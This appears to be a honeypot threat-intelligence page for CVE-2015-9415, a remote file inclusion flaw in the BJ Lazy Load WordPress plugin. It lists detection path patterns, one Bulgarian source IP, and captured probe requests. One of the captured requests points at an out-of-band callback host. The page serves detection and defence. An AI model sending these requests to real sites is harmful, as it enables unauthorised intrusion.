CVE-2015-9415: BJ Lazy Load (Timthumb) <= 0.7.5 - Remote File Inclusion
HoneyLabs honeypots recorded 12 probes matching CVE-2015-9415 from 1 distinct source IP address in the last 7 days. Severity is rated high.
Request paths that identify it
- /wp-content/plugins/bj-lazy-load/thumb.php?src=http://img.youtube.com/{{*}}.jpg
- /wp-content/plugins/bj-lazy-load/thumb.php?src=http://{{*}}/{{*}}.jpg
Addresses probing it
| Source IP | Probes | Network | Country |
|---|---|---|---|
| 93.123.109.214 | 12 | Techoff Srv Limited | Bulgaria |
Networks it comes from
| ASN | Organisation | Probes | Source IPs |
|---|---|---|---|
| AS48090 | Techoff Srv Limited | 12 | 1 |
Where it comes from
| Country | Probes |
|---|---|
| Bulgaria | 12 |
Captured requests
- /wp-content/plugins/bj-lazy-load/thumb.php?src=http://img.youtube.com/RMu9aJqpPepepdeG.jpg
- /wp-content/plugins/bj-lazy-load/thumb.php?src=http://img.youtube.com/3DKP1OIbus23oI6f.jpg
- /wp-content/plugins/bj-lazy-load/thumb.php?src=http://img.youtube.com/YB7OVPK5UkTe7b36.jpg
- /wp-content/plugins/bj-lazy-load/thumb.php?src=http://db55a55r4boh7qauocv0c3d8yoz4wcq1s.oast.pro/ZdF4o0sPQ9veizwd.jpg
HTTP client fingerprints
- b11cun040_00040013_608dab68
CVE report
CVE report
Open a specific CVE from the CVE tracker.